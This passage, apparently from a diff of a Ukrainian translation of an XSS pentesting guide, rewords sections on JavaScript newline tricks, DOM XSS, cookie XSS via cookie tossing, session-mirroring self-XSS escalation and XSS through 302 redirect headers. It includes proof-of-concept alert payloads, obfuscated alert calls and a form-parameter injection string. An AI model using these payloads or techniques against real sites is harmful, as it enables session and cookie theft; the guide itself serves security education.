but "-->" must to be at the beggining of the first line ``` -**JavaScript нові рядки (з** [**JavaScript новий рядок**](./#javascript-new-lines) **трик)** +**Нові рядки JavaScript (з** [**трюка нових рядків JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -735,8 +735,8 @@ top[8680439..toString(30)](1) ```` ## **DOM вразливості** -Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\ -**Через розширення пояснення** [**DOM вразливостей, воно було переміщене на цю сторінку**](dom-xss.md)**:** +Є **JS код**, який використовує **небезпечні дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.\ +**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -749,7 +749,7 @@ top[8680439..toString(30)](1) ### Cookie XSS -Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в увесь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing: +Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) @@ -763,9 +763,9 @@ top[8680439..toString(30)](1) ### Віддзеркалення сесії -Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії. +Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії. -Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію. +Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію. ## Інші обходи @@ -784,7 +784,7 @@ top[8680439..toString(30)](1) ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -Пара "Key","Value" буде відображена назад ось так: +Пар "Ключ","Значення" буде відображено назад ось так: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -824,7 +824,7 @@ document['default'+'View'][`\u0061lert`](3) Якщо ви виявите, що можете **ін'єктувати заголовки в відповіді 302 Redirect**, ви можете спробувати **змусити браузер виконати довільний JavaScript**. Це **не тривіально**, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо код статусу HTTP-відповіді - 302, тому просто корисний вантаж для міжсайтового скриптингу не має сенсу. -У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє який-небудь з них браузеру перевірити та виконати вантаж XSS у тілі.\ +У [**цьому звіті**](https://www.gremwell.com/firefox-xss-302) та [**цьому**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) ви можете прочитати, як ви можете протестувати кілька протоколів у заголовку Location і подивитися, чи дозволяє якийсь з них браузеру перевірити та виконати вантаж XSS у тілі.\ Відомі протоколи: `mailto://`, `//x:1/`, `ws://`, `wss://`, _порожній заголовок Location_, `resource://`. ### Тільки літери, цифри та крапки @@ -833,11 +833,11 @@ document['default'+'View'][`\u0061lert`](3) ### Дійсні `